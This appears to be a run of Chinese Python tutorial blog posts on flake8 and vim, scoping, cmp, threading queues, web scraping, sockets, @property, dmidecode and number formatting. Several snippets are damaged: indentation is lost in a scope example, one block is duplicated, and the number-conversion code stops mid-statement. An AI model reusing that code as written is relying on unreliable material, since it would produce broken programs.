主角登场了，这是我推荐的，但是并不影响其他人喜欢 pylint。其实这哥们是集大成者，是以下三个工具的包装：

PyFlakes

Pep8

Ned Batchelder’s McCabe script

好处不说了，关键是可扩展的，这儿说的很清楚了：https://pypi.python.org/pypi/flake8/2.0。安装如下：

easy_install flake8 // maybe nedd root

如果你跟我一样喜欢 Git 这丫，那么你也是 pyhoner，那么还有福利，将如下的代码写入 .git/hooks/pre-commit：

#!/usr/bin/env python

import sys

from flake8.hooks import git_hook



COMPLEXITY = 12

STRICT = True



代码就不解释了，官方文档写的很清楚：http://flake8.readthedocs.org/en/latest/vcs.html#git-hook。
如果你的 pre-commit 脚本已经有了规则，也没事，在 shell 中调用 python 吧。

如果你也喜欢 vim



作为两大神器之一的 vim，自然要有插件来享受以上工具的：

nvie/vim-flake8

vim-scripts/pylint.vim

看到上面的列举，你应该会知道我在说什么了，没错，用 vundle 安装：

" Flake8 plugin for Vim.

Bundle 'nvie/vim-flake8'

" compiler plugin for python style checking tool.

Bundle 'vim-scripts/pylint.vim'

autocmd FileType python compiler pylint



如果你真的不知道 vundle，真的是时候使用她了：https://github.com/gmarik/vundle。如果你嫌这一切都麻烦，直接用我的
vimrc 吧，在这里：



git clone https://github.com/icocoa/icocoa-vimrc.git --recursive vimrc //
icocoa is my another account in GitHub

Python的名字绑定

2018-01-01T00:00:00+08:00

# Python的名字绑定

Python的名字绑定

在Python中，对象是通过名字进行关联和引用的。Python通过名字绑定操作来引入名字。

Python中的所谓的代码块就是一段作为执行单元的程序。比如：模块、函数、类定义。在交互式环境中输入的命令也是代码块的一种。一个Python脚本文件也是一个
代码块。还有就是，当我们在命令行上使用-c选项指定的命令也是一个代码块。传递给内建函数eval()和exec()的字符串参数也是代码块的一种。

代码块是以执行帧的方式被执行的，一个执行帧包含了一些管理信息，可以用于调试。执行帧还会在执行完当前的代码块以后指定在何处，以怎样的方式执行接下来的代码。

Python中的作用域定义了名字在代码块中的可见性。如果在代码块中定义了一个局部变量，那么这个局部变量的作用域就是所在的这个代码块。如果这个定义发生在函数体
内，则这个变量的作用域就扩展到包含在这个函数中的任何代码块中，但是，如果包含在这个函数中的一个代码块中，同样的名字被绑定到了不同的对象上，那么外面的名字将不
能被扩展到这个代码块中。



    def out_func():
        #a的作用域在out_func这个函数中
        a = 0
        b = 0
        def in_func():
        #a的作用域从out_func扩展到了in_func中，因为in_func这个代码块包含在out_func中
        print(a)
        #out_func函数中的b不能扩展到in_func中，因为在in_func中，b重新绑定到了不同的对象上，所以在out_func中的b的作用域不能扩展到in_func中。
        b = 1

在Python中，定义在类代码块中名字只能在类中可见，并且类中的名字的作用域不能扩展到类中的方法中。如果在类定义中出现了生成器表达式和列表展开，那么类中的名
字也不能扩展到这些表达式中，因为列表展开和生成器表达式的实现都是使用函数作用域的。



    class C:
        a = 0
        # 在列表表达式中，a会因为未定义而抛出NameError异常
        b = list(a + i for i in range(10))
        def method(self):
            #由于定义在类中的名字不能扩展到方法中，所以下面的语句是错误的，会抛出a未定义的NameError异常
            print(a)

当在一个代码块中使用一个名字的时候，会对最近的外围作用域进行解析，以查找这个名字。所有的这些在当前代码块中可见的作用域的集合，称为

当前的代码块的环境。

名字绑定和作用域的关系

如果一个名字绑定到一个代码块中，除非这个名字声明为nonlocal(nonlocal声明的作用是：使得变量在外围作用域中，在全局作用域之前被解析)，否则这个
名字就是这个代码块的局部变量。如果一个名字被绑定到模块级别，则这个名字的作用域是全局的，这个变量是全局变量(模块中的变量，对于模块而言是局部变量，而对于模块
中的代码块而言，则是全局变量)。如果一个名字在一个代码块中使用，但是不是在这个代码块中被定义的，则这个变量就是一个自由变量。

名字绑定相关的异常

如果在进行名字查找的时候，名字没有被找到，则会抛出一个 NameError
异常，如果名字引用的是一个局部变量，但是这个名字还没有被绑定到这个局部变量，则会抛出一个 UnboundLocalError
异常（UnboundLocalError 是 NameError的子类）。

发生名字绑定行为的情况

发生名字绑定的行为主要有：

通常的给函数传递参数的时候，参数名会和传递过来的对象进行绑定

使用import语句进行导入的时候，其中 from ... import * 语句会将被导入的模块中的所有可以被导入的名字进行绑定操作

类定义的时候

函数定义的时候

进行赋值操作的时候

在for循环的for语句中

在with语句中的as后面

在expect语句中的as后面

Python中的名字绑定的Pitfall

在Python中，名字绑定的一些规则，会导致在使用名字的时候，出现不能理解的错误，特别是对于有C、C++ 和 Java经验的用户。

在Python中，名字绑定操作无论发生在当前块的 任何 位置，在这个代码块中对这个名字的引用都会使用在当前块中绑定的对象。那么，问题就来了，如果我们在名字绑
定操作发生之前对这个名字进行了引用，那么就会出现错误，抛出 UnboundLocalError 异常。



    >>> a = 10
    >>> def function():
    print(a)
    a = 20# a的绑定操作发生在print之前
    >>> function()
    Traceback (most recent call last):
      File "<pyshell#5>", line 1, in <module>
        function()
      File "<pyshell#4>", line 2, in function
        print(a)
    UnboundLocalError: local variable 'a' referenced before assignment

在Python中，代码块中的局部变量可以通过扫描整个代码块来获得绑定的名字，所以在上面的代码中，a这个名字在执行print的时候通过对代码块的扫描已经被找到
，但是名字a的绑定操作却还没有发生，所以出现了错误。

在上面的代码中，如果我们需要外面定义的全局变量a，则可以使用global 语句进行声明。



    >>> a = 10
    >>> def function():
    global a
    print(a)
    a = 20#这里并不引入新的名字，而是将全局变量a绑定到20上
    >>> function()
    10
    >>> a
    20

global 语句的作用是，使得后面对通过这条语句声明的对象的引用，使用的是顶层名字空间中的名字。在顶层名字空间中，包含了全局名字空间和内建名字空间，全局名
字空间会首先被搜索，如果没有找到，会对内建名字空间进行搜索。global 语句必须出现在名字使用之前。

如果在外围作用域中的自由变量包含了一个global声明，则这个自由变量被认为是全局的。

内建名字空间

在查找内建名字空间的时候，会访问当前代码块的全局名字空间中的 __builtins__名字，这个名字引用的是一个名字字典或者是一个模块。在 __main__
模块中， __builtins__ 的引用是内建模块 builtins，然而，如果是在其他模块中， __builtins__ 引用的是 builtins
模块的名字字典。

注意：

CPython的实现中，不能手动修改 __builtins__ 这个变量，如果需要覆盖这个内建名字空间中的名字，需要导入 builtins
模块，然后修改这个模块中相应的属性。

Python的内建比较函数cmp比较原理剖析

2018-01-01T00:00:00+08:00

# Python的内建比较函数cmp比较原理剖析

![Python的cmp比较函数比较原理](http://www.pythontab.com/uploadfile/2014/0805/2014080512
0904737.jpg)

cmp( x, y)：比较2个对象，前者小于后者返回-1，相等则返回0，大于后者返回1.

Python的cmp比较函数比较原理

Python的cmp函数可以比较同类型之间，或者不同数据类型之间。然后根据Python的cmp比较函数的返回值来判定比较大小。



    >>> list1, list2 = [123, 'xyz'], [456, 'abc']
    >>> cmp(list1, list2)
    -1
    >>> cmp(list2, list1)
    1
    >>> list3 = list2 + [789]
    >>> list3
    [456, 'abc', 789]
    >>> cmp(list2, list3)
    -1

观察上面cmp函数的几个比较，可以总结：

Python的cmp比较函数 ，如果我们比较的是两个同类的对象，比较操作是非常直观的。

数字和字符串的比较，直接比较它们的值。



对于序列类型的比较，方式上有相似。Python在两个对象基本不能比较的时候尽量做出公平的结果。比如当两个对象没有关系时，或者两种类型根本就没有用于比较的函数
时，这时 Python只能根据"逻辑"来做出结论。比较的算法逻辑：

1\.   对两个列表的元素进行比较.

2\.   如果比较的元素是同类型的,则比较其值,返回结果.

3\.   如果两个元素不是同一种类型,则检查它们是否是数字.

     a. 如果是数字,执行必要的数字强制类型转换,然后比较.

     b. 如果有一方的元素是数字,则另一方的元素"大"(数字是"最小的")

     c. 否则,通过类型名字的字母顺序进行比较.

4\.   如果有一个列表首先到达末尾,则另一个长一点的列表"大".

5\.   如果我们用尽了两个列表的元素而且所有元素都是相等的,那么结果就是个平局,就

是说返回一个 0.

这就是Python的cmp函数比较原理了

Python多线程异步任务队列（实例）

2018-01-01T00:00:00+08:00

#  Python多线程异步任务队列（实例）

很多场景为了不阻塞，都需要异步回调机制。这是一个简单的例子。

python的多线程异步常用到queue和threading模块



    #!/usr/bin/env python
    # -*- coding: UTF-8 -*-

    import logging
    import queue
    import threading

    def func_a(a, b):
        return a + b

    def func_b():
        pass

    def func_c(a, b, c):
        return a, b, c

    # 异步任务队列
    _task_queue = queue.Queue()

    def async_call(function, callback, *args, **kwargs):
        _task_queue.put({
            'function': function,
            'callback': callback,
            'args': args,
            'kwargs': kwargs
        })

    def _task_queue_consumer():
        """
        异步任务队列消费者
        """
        while True:
            try:
                task = _task_queue.get()
                function = task.get('function')
                callback = task.get('callback')
                args = task.get('args')
                kwargs = task.get('kwargs')
                try:
                    if callback:
                        callback(function(*args, **kwargs))
                except Exception as ex:
                    if callback:
                        callback(ex)
                finally:
                    _task_queue.task_done()
            except Exception as ex:
                logging.warning(ex)

    def handle_result(result):
        print(type(result), result)

    if __name__ == '__main__':
        t = threading.Thread(target=_task_queue_consumer)
        t.daemon = True
        t.start()

        async_call(func_a, handle_result, 1, 2)
        async_call(func_b, handle_result)
        async_call(func_c, handle_result, 1, 2, 3)
        async_call(func_c, handle_result, 1, 2, 3, 4)

        _task_queue.join()

Python多线程抓取Google搜索链接网页

2018-01-01T00:00:00+08:00

# Python多线程抓取Google搜索链接网页

1）urllib2+BeautifulSoup抓取Goolge搜索链接

近期，参与的项目需要对Google搜索结果进行处理，之前学习了Python处理网页相关的工具。实际应用中，使用了urllib2和beautifulsoup来
进行网页的抓取，但是在抓取google搜索结果的时候，发现如果是直接对google搜索结果页面的源代码进行处理，会得到很多“脏”链接。

看下图为搜索“titanic  james”的结果：

![QQ截图20130407145449](http://www.pythontab.com/uploadfile/2013/0410/2013041009
5957782.jpg)

图中红色标记的是不需要的，蓝色标记的是需要抓取处理的。

这种“脏链接”当然可以通过规则过滤的方法来过滤掉，但是这样程序的复杂度就高了。正当自己愁眉苦脸的正在写过滤规则时。同学提醒说google应该提供相关的api
，才恍然大明白。

（2）Google Web Search API+多线程

文档中给出使用Python进行搜索的例子：



    import simplejson

    # The request also includes the userip parameter which provides the end  
    # user's IP address. Doing so will help distinguish this legitimate  
    # server-side traffic from traffic which doesn't come from an end-user.  
    url = ('https://ajax.googleapis.com/ajax/services/search/web'
           '?v=1.0&q=Paris%20Hilton&userip=USERS-IP-ADDRESS')

    request = urllib2.Request( 
        url, None, {'Referer': /* Enter the URL of your site here */}) 
    response = urllib2.urlopen(request)

    # Process the JSON string.  
    results = simplejson.load(response) 
    # now have some fun with the results...

    import simplejson

    # The request also includes the userip parameter which provides the end
    # user's IP address. Doing so will help distinguish this legitimate
    # server-side traffic from traffic which doesn't come from an end-user.
    url = ('https://ajax.googleapis.com/ajax/services/search/web'
           '?v=1.0&q=Paris%20Hilton&userip=USERS-IP-ADDRESS')

    request = urllib2.Request(
        url, None, {'Referer': /* Enter the URL of your site here */})
    response = urllib2.urlopen(request)

    # Process the JSON string.
    results = simplejson.load(response)
    # now have some fun with the results..



实际应用中可能需要抓取google的很多网页，所以还需要使用多线程来分担抓取任务。使用google web search
api的参考详细介绍，请看此处（这里介绍了Standard URL
Arguments）。另外要特别注意，url中参数rsz必须是8（包括8）以下的值，若大于8，会报错的！

（3）代码实现

代码实现还存在问题，但是能够运行，鲁棒性差，还需要进行改进，希望各路大神指出错误（初学Python），不胜感激。



    #-*-coding:utf-8-*-  
    import urllib2,urllib 
    import simplejson 
    import os, time,threading

    import common, html_filter 
    #input the keywords  
    keywords = raw_input('Enter the keywords: ')

    #define rnum_perpage, pages  
    rnum_perpage=8
    pages=8

    #定义线程函数  
    def thread_scratch(url, rnum_perpage, page): 
     url_set = []  
     try: 
       request = urllib2.Request(url, None, {'Referer': 'http://www.sina.com'}) 
       response = urllib2.urlopen(request) 
       # Process the JSON string.  
       results = simplejson.load(response) 
       info = results['responseData']['results'] 
     except Exception,e: 
       print 'error occured'
       print e 
     else: 
       for minfo in info: 
          url_set.append(minfo['url']) 
          print minfo['url'] 
      #处理链接  
     i = 0
     for u in url_set: 
       try: 
         request_url = urllib2.Request(u, None, {'Referer': 'http://www.sina.com'}) 
         request_url.add_header( 
         'User-agent', 
         'CSC'
         ) 
         response_data = urllib2.urlopen(request_url).read() 
         #过滤文件  
         #content_data = html_filter.filter_tags(response_data)  
         #写入文件  
         filenum = i+page 
         filename = dir_name+'/related_html_'+str(filenum) 
         print '  write start: related_html_'+str(filenum) 
         f = open(filename, 'w+', -1) 
         f.write(response_data) 
         #print content_data  
         f.close() 
         print '  write down: related_html_'+str(filenum) 
       except Exception, e: 
         print 'error occured 2'
         print e 
       i = i+1
     return

    #创建文件夹  
    dir_name = 'related_html_'+urllib.quote(keywords) 
    if os.path.exists(dir_name): 
       print 'exists  file'
       common.delete_dir_or_file(dir_name) 
    os.makedirs(dir_name)

    #抓取网页  
    print 'start to scratch web pages:'
    for x in range(pages): 
      print "page:%s"%(x+1) 
      page = x * rnum_perpage 
      url = ('https://ajax.googleapis.com/ajax/services/search/web'
                      '?v=1.0&q=%s&rsz=%s&start=%s') % (urllib.quote(keywords), rnum_perpage,page) 
      print url 
      t = threading.Thread(target=thread_scratch, args=(url,rnum_perpage, page)) 
      t.start() 
    #主线程等待子线程抓取完  
    main_thread = threading.currentThread() 
    for t in threading.enumerate(): 
      if t is main_thread: 
        continue
      t.join()

Python服务器开发 -- 网络基础

2018-01-01T00:00:00+08:00

# Python服务器开发 -- 网络基础

网络由下往上分为物理层、数据链路层、网络层、传输层、会话层、表示层和应用层。

HTTP是高层协议，而TCP/IP是个协议集，包过许多的子协议。包括：传输层的
FTP，UDP，TCP协议等，网络层的ip协议等，高层协议如HTTP,telnet协议等，HTTP是TCP/IP的一个子协议。

socket是对TCP/IP协议的封装和应用（程序员层面上）。也可以说，TPC/IP协议是传输层协议，主要解决数据如何在网络中传输，而HTTP是应用层协议，
主要解决如何包装数据。

我们在传输数据时，可以只使用（传输层）TCP/IP协议，但是那样的话，如果没有应用层，便无法识别数据内容，如果想要使传输的数据有意义，则必须使用到应用层协议
，应用层协议有很多，比如HTTP、FTP、TELNET等，也可以自己定义应用层协议。WEB使用HTTP协议作应用层协议，以封装HTTP文本信息，然后使用TC
P/IP做传输层协议将它发到网络上。

而我们平时说的最多的socket是什么呢，实际上socket是对TCP/IP协议的封装，Socket本身并不是协议，而是一个调用接口（API），通过Sock
et，我们才能使用TCP/IP协议。实际上，Socket跟TCP/IP协议没有必然的联系。Socket编程接口在设计的时候，就希望也能适应其他的网络协议。所
以说，Socket的出现只是使得程序员更方便地使用TCP/IP协议栈而已，是对TCP/IP协议的抽象，从而形成了我们知道的一些最基本的函数接口，比如crea
te、listen、connect、accept、send、read和write等等。

TCP/IP只是一个协议栈，就像操作系统的运行机制一样，必须要具体实现，同时还要提供对外的操作接口。这个就像操作系统会提供标准的编程接口，比如win32编程
接口一样，TCP/IP也要提供可供程序员做网络开发所用的接口，这就是Socket编程接口。

有个比较形象的描述：HTTP是轿车，提供了封装或者显示数据的具体形式；Socket是发动机，提供了网络通信的能力。

实际上，传输层的TCP是基于网络层的IP协议的，而应用层的HTTP协议又是基于传输层的TCP协议的，而Socket本身不算是协议，就像上面所说，它只是提供了
一个针对TCP或者UDP编程的接口。

利用Socket建立网络连接的步骤：

建立Socket连接至少需要一对套接字，其中一个运行于客户端，称为ClientSocket ，另一个运行于服务器端，称为ServerSocket 。

套接字之间的连接过程分为三个步骤：服务器监听，客户端请求，连接确认。

1。服务器监听：服务器端套接字并不定位具体的客户端套接字，而是处于等待连接的状态，实时监控网络状态，等待客户端的连接请求。

2。客户端请求：指客户端的套接字提出连接请求，要连接的目标是服务器端的套接字。为此，客户端的套接字必须首先描述它要连接的服务器的套接字，指出服务器端套接字的
地址和端口号，然后就向服务器端套接字提出连接请求。

3。连接确认：当服务器端套接字监听到或者说接收到客户端套接字的连接请求时，就响应客户端套接字的请求，建立一个新的线程，把服务器端套接字的描述发给客户端，一旦
客户端确认了此描述，双方就正式建立连接。而服务器端套接字继续处于监听状态，继续接收其他客户端套接字的连接请求。

HTTP链接的特点

HTTP协议即超文本传送协议(Hypertext Transfer Protocol
)，是Web联网的基础，也是手机联网常用的协议之一，HTTP协议是建立在TCP协议之上的一种应用。

HTTP连接最显著的特点是客户端发送的每次请求都需要服务器回送响应，在请求结束后，会主动释放连接。从建立连接到关闭连接的过程称为“一次连接”。

The Internet Protocol（协议）

IP就是一个32位无符号整数。IP地址通过DNS (Domain Name System) 数据库映射到域名



    #!/usr/bin/env python
    # Foundations of Python Network Programming - Chapter 1 - getname.py
    import socket
    hostname = 'google.com'
    addr = socket.gethostbyname(hostname)
    print 'The address of', hostname, 'is', addr
    # The address of google.com is 173.194.72.113



Python网络编程：

Python提供了访问底层操作系统Socket接口的全部方法，还提供了一组加密和认证通信的服务，SSL／TLS。

Sockets其实是一个文件描述符，不同于不同于本地文件，它连接了网络上的一个文件。

1、创建一个UDP 本地连接：



    #!/usr/bin/env python
    import socket, sys
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    MAX = 65535
    PORT = 1060
    if sys.argv[1:] == ['server']:
        s.bind(('127.0.0.1', PORT))
        print 'Listening at', s.getsockname()
        while True:
            data, address = s.recvfrom(MAX)
            print 'The client at', address, 'says', repr(data)              
    　　　　 s.sendto('Your data was %d bytes' % len(data), address)
    elif sys.argv[1:] == ['client']:
            print 'Address before sending:', s.getsockname()
            s.sendto('This is my message', ('127.0.0.1', PORT))
            print 'Address after sending', s.getsockname()
            data, address = s.recvfrom(MAX) # overly promiscuous - see text!
            print 'The server', address, 'says', repr(data)
    else:
        print >>sys.stderr, 'usage: udp_local.py server|client'



运行这段代码：



    python filename.py server
    ＃Listening at ('127.0.0.1', 1060)
    ＃Address before sending: ('0.0.0.0', 0)
    ＃Address after sending ('0.0.0.0', 62892)
    ＃The server ('127.0.0.1', 1060) says 'Your data was 18 bytes'
    python filename.py client
    ＃The client at ('127.0.0.1', 62892) says 'This is my message'



2、创建远程连接并验证收到的信息：



    import random, socket, sys
    s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    MAX = 65535
    PORT = 1060
    if 2 <= len(sys.argv) <= 3 and sys.argv[1] == 'server':
        interface = sys.argv[2] if len(sys.argv) > 2 else ''
        s.bind((interface, PORT))
        print 'Listening at', s.getsockname()
        while True:
            data, address = s.recvfrom(MAX)
            if random.randint(0, 1):
                print 'The client at', address, 'says:', repr(data)
                s.sendto('Your data was %d bytes' % len(data), address)
            else:
                print 'Pretending to drop packet from', address
    elif len(sys.argv) == 3 and sys.argv[1] == 'client':
        hostname = sys.argv[2]
        s.connect((hostname, PORT))
        print 'Client socket name is', s.getsockname()
        delay = 0.1
        while True:
            s.send('This is another message')
            print 'Waiting up to', delay, 'seconds for a reply'
            s.settimeout(delay)
            try:
                data = s.recv(MAX)
            except socket.timeout:
                delay *= 2  # wait even longer for the next request
                if delay > 2.0:
                    raise RuntimeError('I think the server is down')
            else:
                break   # we are done, and can stop looping

        print 'The server says', repr(data)
    else:
        print >>sys.stderr, 'usage: udp_remote.py server [ <interface> ]'
        print >>sys.stderr, '   or: udp_remote.py client <host>'
        sys.exit(2)

这里的s.connect((hostname, PORT))方法，可以让我们不用每次都调用s.sendto('This is my message',
('127.0.0.1', PORT))。直接调用

s.send('This is another message')。

Python黑魔法之property装饰器详解

2018-01-01T00:00:00+08:00

# Python黑魔法之property装饰器详解

@property装饰器能把一个方法变成属性一样来调用,下面我们就一起来看看Python黑魔法@property装饰器的使用技巧解析

@property有什么用呢?表面看来,就是将一个方法用属性的方式来访问.

上代码,代码最清晰了.



    class Circle(object): 
      def __init__(self, radius): 
        self.radius = radius 
     
      @property 
      def area(self): 
        return 3.14 * self.radius ** 2 
     
    c = Circle(4) 
    print c.radius 
    print c.area



可以看到,area虽然是定义成一个方法的形式,但是加上@property后,可以直接c.area,当成属性访问.

现在问题来了,每次调用c.area,都会计算一次,太浪费cpu了,怎样才能只计算一次呢?这就是lazy property.



    class lazy(object): 
      def __init__(self, func): 
        self.func = func 
     
      def __get__(self, instance, cls): 
        val = self.func(instance) 
        setattr(instance, self.func.__name__, val) 
        return val 
     
    class Circle(object): 
      def __init__(self, radius): 
        self.radius = radius 
     
      @lazy 
      def area(self): 
        print 'evalute' 
        return 3.14 * self.radius ** 2 
     
    c = Circle(4) 
    print c.radius 
    print c.area 
    print c.area 
    print c.area

可以看到,'evalute'只输出了一次,对@lazy的机制应该很好理解.

在这里,lazy类有__get__方法,说明是个描述器,第一次执行c.area的时候,因为顺序问题,先去c.__dict__中找,没找到,就去类空间找,在类
Circle中,有area()方法,于是就被__get__拦截.

在__get__中,调用实例的area()方法算出结果,并动态给实例添加个同名属性把结果赋给它,即加到c.__dict__中去.

再次执行c.area的时候,先去c.__dict__找,因为此时已经有了,就不会经过area()方法和__get__了.

注意点

请注意以下代码场景：

代码片段1：



    class Parrot(object): 
      def __init__(self): 
        self._voltage = 100000 
     
      @property 
      def voltage(self): 
        """Get the current voltage.""" 
        return self._voltage 
     
    if __name__ == "__main__": 
      # instance 
      p = Parrot() 
      # similarly invoke "getter" via @property 
      print p.voltage 
      # update, similarly invoke "setter" 
      p.voltage = 12

代码片段2：



    class Parrot: 
      def __init__(self): 
        self._voltage = 100000 
     
      @property 
      def voltage(self): 
        """Get the current voltage.""" 
        return self._voltage 
     
    if __name__ == "__main__": 
      # instance 
      p = Parrot() 
      # similarly invoke "getter" via @property 
      print p.voltage 
      # update, similarly invoke "setter" 
      p.voltage = 12

代码1、2的区别在于

class Parrot(object):

在python2下，分别运行测试

片段1：将会提示一个预期的错误信息 AttributeError: can't set attribute

片段2：正确运行

参考python2文档，@property将提供一个ready-only
property，以上代码没有提供对应的@voltage.setter，按理说片段2代码将提示运行错误，在python2文档中，我们可以找到以下信息：

BIF:

property([fget[, fset[, fdel[, doc]]]])

Return a property attribute for new-style classes (classes that derive from
object).

原来在python2下，内置类型 object
并不是默认的基类，如果在定义类时，没有明确说明的话（代码片段2），我们定义的Parrot（代码片段2）将不会继承object

而object类正好提供了我们需要的@property功能，在文档中我们可以查到如下信息：

new-style class

Any class which inherits from object. This includes all built-in types like
list and dict. Only new-style classes can use Python's newer, versatile
features like __slots__, descriptors, properties, and __getattribute__().



同时我们也可以通过以下方法来验证



    class A: 
      pass 
    >>type(A) 
    <type 'classobj'>





    class A(object): 
      pass 
    >>type(A) 
    <type 'type'>

从返回的<type 'classobj'>，<type 'type'>可以看出<type 'type'>是我们需要的object类型（python 3.0
将object类作为默认基类，所以都将返回<type 'type'>）

为了考虑代码的python 版本过渡期的兼容性问题，我觉得应该定义class文件的时候，都应该显式定义object，做为一个好习惯

最后的代码将如下：



    class Parrot(object): 
      def __init__(self): 
        self._voltage = 100000 
      @property 
      def voltage(self): 
        """Get the current voltage.""" 
        return self._voltage 
      @voltage.setter 
      def voltage(self, new_value): 
        self._voltage = new_value 
     
    if __name__ == "__main__": 
      # instance 
      p = Parrot() 
      # similarly invoke "getter" via @property 
      print p.voltage 
      # update, similarly invoke "setter" 
      p.voltage = 12



另外，@property是在2.6、3.0新增的，2.5没有该功能。

Python获取服务器的厂商和型号信息

2018-01-01T00:00:00+08:00

# Python获取服务器的厂商和型号信息

Python获取服务器的厂商和型号信息，在RHEHL6下，需要系统预装python-dmidecode这个包（貌似默认就已经装过了）

脚本内容如下

[root@linuxidc tmp]# cat test.py



    #!/usr/bin/env python
    import dmidecode
    info=dmidecode.system()
    info_keys=info.keys()
    for i in range(len(info_keys)):
        if info[info_keys[i]]['dmi_type'] == 1 :
            print info[info_keys[i]]['data']['Manufacturer']
            print info[info_keys[i]]['data']['Product Name']

[root@linuxidc tmp]#

执行的时候，需要root权限，输出如下：

[root@linuxidc tmp]# ./test.py



    HP
    ProLiant DL380p Gen8

第一行是厂商HP，第二行是HP服务器的型号。



注：通过dmidecode命令获取这些信息的方式是：



    dmidecode -t1

输出如下：

[root@linuxidc tmp]# dmidecode -t1



    # dmidecode 2.11
    SMBIOS 2.7 present.
     
    Handle 0x0100, DMI type 1, 27 bytes
    System Information
            Manufacturer: HP
            Product Name: ProLiant DL380p Gen8
            Version: Not Specified
            Serial Number: CNG230SHDQ
            UUID: 32333536-3030-4E43-4732-333053484451
            Wake-up Type: Power Switch
            SKU Number: 653200-B21
            Family: ProLiant

[root@linuxidc tmp]#

Python简单两步实现天气爬虫采集器

2018-01-01T00:00:00+08:00

# Python简单两步实现天气爬虫采集器

说道爬虫大家或许感觉非常神秘，其实它没有我们想象的那么神奇（当然，google和baidu的爬虫是一场复杂和强大的，它的强大不是爬虫本身强大，而是后台的数据
处理和数据挖掘算法非常强大），今天我们就来揭开它神秘的面纱。呵呵，简单两步就可以实现一个网页天气爬虫程序。。。

爬虫简单说来包括**两个部分**：**1.获得网页文本信息。2.数据分析，获取其中我们想要的数据。**

## 1、获得网页文本信息。

python在获取html方面十分方便，有了urllib库的帮助，只需要几行代码就可以实现我们需要的功能。



    #引入urllib库
    import urllib 
    def getHtml(url): 
    page = urllib.urlopen(url) 
    html = page.read() 
    page.close() 
    return html

这里返回的就是网页的源代码，也就是html代码。

那我们如何从中得到我们想要的信息呢？那就需要用到在网页分析里面最最常用的工具 - 正则表达式 了。

## 2、根据正则表达式等获得需要的内容。

使用正则表达式时需要仔细观察该网页信息的结构，并写出正确的正则表达式。

python正则表达式的使用也很简洁：



    #引入正则表达式库
    import re
    def getWeather(html): 
    reg = '<a title=.*?>(.*?)</a>.*?<span>(.*?)</span>.*?<b>(.*?)</b>'
    weatherList = re.compile(reg).findall(html) 
    return weatherList

**说明：**

其中reg是正则表达式，html是第一步获得的文本。findall的作用是找到html中所有符合正则匹配的字符串并存放到weatherList中。之后再枚举
weatheList中的数据输出即可。

这里的正则表达式reg有两个地方要注意。

一个是“(.*?)”。只要是（）中的内容都是我们将要获得的内容，如果有多个括号，那么findall的每个结果就都包含这几个括号中的内容。上面有三个括号，分别
对应城市、最低温和最高温。

另一个是“.*?”。python的正则匹配默认是贪婪的，即默认尽可能多地匹配字符串。如果在末尾加上问号，则表示非贪婪模式，即尽可能少地匹配字符串。在这里，由
于有多个城市的信息需要匹配，所以需要使用非贪婪模式，否则匹配结果只剩下一个，且是不正确的。

Python监控日志程序

2018-01-01T00:00:00+08:00

# Python监控日志程序

一个简易的日志监控的脚本，功能如下：1.windows环境2.当匹配日志关键字时会发出声音，匹配的关键字不同，播放的声音不同3.能做到实时响应

注意：是在win环境下哦

直接上代码吧



    #!/usr/bin/env python
    # encoding: utf-8
      
    """
    MonitorLog.py
      
    Usage: MonitorLog.py ...
    Monitor the log file
      
    -f  log file
    -h  help info
      
    python MonitorLog.py -f C:\monitor.log
      
    """
      
    import sys
    import os
    import getopt
    import subprocess
    import time
    import codecs
    import winsound
      
    ABSPATH = os.path.dirname(os.path.abspath(__file__))
    MONITERCONF = 'moniter_keyword.txt' #utf8 file
      
    def main():
        try:
            opts, args = getopt.getopt(sys.argv[1:], 'hf:')
        except getopt.GetoptError, err:
            print str(err)
            print __doc__
            return 1
      
        path = ''
        for k, v in opts:
            if k == '-f':
                path = v
            elif k == '-h':
                print __doc__
                return 0
      
        if not (path and os.path.exists(path)):
            print 'Invalid path: %s' % path 
            print __doc__
            return 2
      
        #命令行元组
        cmd = ('tail', '-f', path)
        print ' '.join(cmd)
        output = subprocess.Popen(cmd, stdout=subprocess.PIPE)
      
        keywordMap = {}
        #加载监控的关键字信息
        with codecs.open(os.path.join(ABSPATH, MONITERCONF), 'r', 'utf8') as f:
            lines = f.readlines()
        for line in lines:
            line = line.strip()
            if not line:
                continue
            keyword, wav = line.strip().split(':')
            keywordMap[keyword] = wav
      
        while True:
            line = output.stdout.readline()
            #process code,得到输出信息后的处理代码
            if not line:
                time.sleep(0.01)
                continue
            line = line.strip().decode('utf8')
            print line
            for keyword in keywordMap:
                if line.find(keyword) > -1:
                    winsound.PlaySound(keywordMap[keyword], 
                                       winsound.SND_NODEFAULT)
            #time.sleep(0.01)
        return 0
      
    if __name__ == '__main__':
        sys.exit(main())

Python将阿拉伯数字转化为中文大写

2018-01-01T00:00:00+08:00

# Python将阿拉伯数字转化为中文大写

利用Python将阿拉伯数字转化为中文大写，其实最麻烦的地方就是中间空多个0的问题，这种情况下，采用拆分法则，将一个大数字，先拆分成整数部分和小数部分，再对
整数部分按照仟、万、亿、兆分位拆分为四个字符串组成的List，每个字符串最多4个字符，然后对每个分位的字符串用大写函数转换成大写，最后合并，这样等于缩减了问
题，处理就相对简单了



    #!/usr/bin/env python
    # -*- coding: utf-8 -*-
    '''
    #算法说明：要求字符串输入，现将字符串差费为整数部分和小数部分生成list[整数部分,小数部分]
    #将整数部分拆分为：[亿，万，仟]三组字符串组成的List:['0000','0000','0000']（根据实际输入生成阶梯List）
    #例如：600190000010.70整数部分拆分为：['600','1900','0010']
    #然后对list中每个字符串分组进行大写化再合并
    #最后处理小数部分的大写化
    '''
    class cnumber:
        cdict={}
        gdict={}
        xdict={}
        def __init__(self):
            self.cdict={1:u'',2:u'拾',3:u'佰',4:u'仟'}
            self.xdict={1:u'元',2:u'万',3:u'亿',4:u'兆'} #数字标识符
            self.gdict={0:u'零',1:u'壹',2:u'贰',3:u'叁',4:u'肆',5:u'伍',6:u'陆',7:u'柒',8:u'捌',9:u'玖'}     
        def csplit(self,cdata): #拆分函数，将整数字符串拆分成[亿，万，仟]的list
            g=len(cdata)%4
            csdata=[]
            lx=len(cdata)-1
            if g>0:
                csdata.append(cdata[0:g])
            k=g
            while k<=lx:
                csdata.append(cdata[k:k+4])
                k+=4
            return csdata

        def cschange(self,cki): #对[亿，万，仟]的list中每个字符串分组进行大写化再合并
            lenki=len(cki)
            i=0
            lk=lenki
            chk=u''
            for i in range(lenki):
                if int(cki[i])==0:
                    if i

Python进程、线程、协程详解

2018-01-01T00:00:00+08:00

# Python进程、线程、协程详解

### 进程与线程的历史

